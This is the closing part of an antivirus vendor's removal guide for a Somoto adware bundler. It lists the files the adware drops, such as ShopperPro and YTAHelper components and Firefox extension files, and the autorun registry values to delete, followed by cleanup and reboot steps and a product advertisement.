%Program Files% (x86)\ShopperPro\FireFox\install.rdf (828 bytes)
%Program Files%\Common Files\ShopperPro\spbici64.dll (44462 bytes)
%Program Files% (x86)\ShopperPro\database1_0_0.json (5 bytes)
%Program Files% (x86)\ShopperPro\SPRemove.exe (20416 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro64.dll (16944 bytes)
%Program Files% (x86)\ShopperPro\manifest.json (595 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_biclient.exe_97ca2157dc4a9efbd1a44fda2aa67c3f797d_0fb53c92\Report.wer (241140 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_biclient.exe_97ca2157dc4a9efbd1a44fda2aa67c3f797d_0937df27\Report.wer (239510 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_YTAHelper.exe_33a11d3e4d66265e76d09550dc9d2e98153056_0dcb5aad\Report.wer (194508 bytes)
C:\ProgramData\ShopperPro\config.json (490 bytes)
C:\ProgramData\ShopperPro\ShopperPro.dll (2321 bytes)
%Program Files% (x86)\ShopperPro\config.json (1260 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1463.0.0.0\jsdrv.exe (22786 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\config.json (490 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\database1_0_0.json (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\install.rdf (828 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.xul (203 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1463.0.0.0\jsdrv.sys (52 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (3 bytes)
C:\ProgramData\ShopperPro\database1_0_0.json (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\chrome.manifest (113 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1463.0.0.0\database1_0_0.json (5 bytes)
C:\ProgramData\ShopperPro\ShopperPro64.dll (3073 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1463.0.0.0\config.json (770 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu2444.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse2433.tmp (152474 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu2444.tmp\D1958.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu2444.tmp\setup.exe (1584890 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu2444.tmp\setup1.exe (142646 bytes)
%Program Files% (x86)\YouTube Accelerator\instlsp.log (295 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\YTAHelper_64.png (4 bytes)
%Program Files% (x86)\YTAHelper\FireFox\chrome.manifest (111 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse2AE8.tmp\nsProcess.dll (12 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.exe (32824 bytes)
%Program Files% (x86)\YTAHelper\FireFox\install.rdf (884 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse2AE8.tmp\jsdrv.exe (100669 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse2AE8.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse2AE8.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse2AE8.tmp\MoreInfo.dll (15 bytes)
C:\Users\Public\Documents\YTAHelper\JsDriver\Config.xml (1 bytes)
%Program Files% (x86)\YTAHelper\SPRemove.exe (17848 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse2AE8.tmp\AccDownload.dll (11667 bytes)
%Program Files% (x86)\YTAHelper\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp2AE7.tmp (133285 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.dll (15168 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.exe (100378 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.sys (1856 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper64.dll (17848 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_18676\ins_postInst.exe (3834 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_18676\ins_yta.exe (32481 bytes)
C:\ProgramData\ShopperPro\spbihe.js (435 bytes)
C:\Windows\Temp\SPBI_cache_iexplore.exe.cache (1024 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe (8409 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz277E.tmp (7214 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\config.ini (79 bytes)
C:\Windows\SysWOW64\AniGIF.ocx (172 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjFA46.tmp (37336 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjFA47.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjFA47.tmp\DCytaiesmt_smtyc_setup.exe (376835 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjFA47.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjFA47.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjFA47.tmp\D1989.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjFA47.tmp\7E5344D40EB28303 (34561 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe /startup"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"pricefountainw.exe" = "C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\pricefountainw.exe HKEY_CURRENT_USER Software\PriceFountain"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1463.0.0.0\jsdrv.exe"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1463.0.0.0\jsdrv.exe"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Permalink

Back to the blog

e-mail

Google+

Twitter

Facebook

Application.Bundler.Somoto.A_22e5846c8f

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Discover the new adaware antivirus 12

Our best antivirus yet

Application.Bundler.Somoto.A_22e5846c8f

E-mail

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Discover the new adaware antivirus 12

Our best antivirus yet